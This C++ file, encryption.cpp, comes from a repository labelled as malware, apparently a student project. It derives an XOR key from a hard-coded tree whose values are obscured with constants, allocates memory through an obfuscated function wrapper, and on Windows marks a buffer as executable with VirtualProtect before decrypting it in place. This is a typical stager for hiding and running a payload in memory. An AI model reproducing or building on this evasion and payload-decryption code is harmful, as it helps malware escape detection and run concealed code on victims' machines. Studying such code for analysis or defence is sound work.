malware-m2-2026/Malware/Malware/encryption.cpp

87 lines
2.1 KiB
C++

#include "stdafx.h" // IWYU pragma: keep
#include "encryption.h"
#include "tree.h"
#include "functions.h"
#ifdef _WIN32
#include <windows.h>
#endif
// 1re étape: chaque bit de la clé d'entrée est un gauche ou droite dans l'arbre
// l'arbre est de profondeur inégale et random
Node* gen_tree(){
Node* r = new Node(); // root
r->value ^= '1';
Node* a = new Node(); // left
a->value ^= '8';
Node* aa = new Node(); // left left
aa->value ^= ('3'^0xbe);
Node* ab = new Node();
ab->value ^= ('7'^0xef);
Node* b = new Node();
b->value ^= '5';
Node* ba = new Node();
ba->value ^= '4';
Node* bb = new Node();
bb->value ^= '2';
// defining tree links
r->left = a;
r->right = b;
a->left = aa;
a->right = ab;
b->left = ba;
b->right = bb;
aa->value^=0xbe;
ab->value^=0xef;
return r;
}
char* derive_key_from_tree(char* key){
auto stdfunclist = new Obfuscated_stdFunclist();
char* res = (char*) stdfunclist->obfusc_malloc(sizeof(char)*9*8);
Node* root = gen_tree();
Node* current = root;
int i_key = 0;
int i_res = 0;
while(key[i_key] != '\0'){
char character = key[i_key];
for (int j = 0; j < 8; j++){
int bit = ((character >> j) & 0x01); // gets byte number j
if(bit){ // right
current = current->r();
} else { // left
current = current->l();
}
if(current->is_leaf()){
res[i_res] = current->v();
current = root;
i_res ++;
}
}
i_key++;
}
res[i_res] = current->v();
res[i_res+1] = '\0';
return res;
}
void encrypt_decrypt(char* key, char* msg){
#ifdef _WIN32
DWORD old;
VirtualProtect(msg, 0x100, PAGE_EXECUTE_READWRITE, &old);
#endif
char* newkey = derive_key_from_tree(key);
// printf("%s\n",newkey);
int i = 0;
int j = 0;
while (msg[i] != '\0'){
msg[i] ^= newkey[j];
// printf("\\x%x",msg[i]);
j++;
if (newkey[j] == '\0'){
j = 0;
}
i++;
}
// printf("%s\n",msg);
}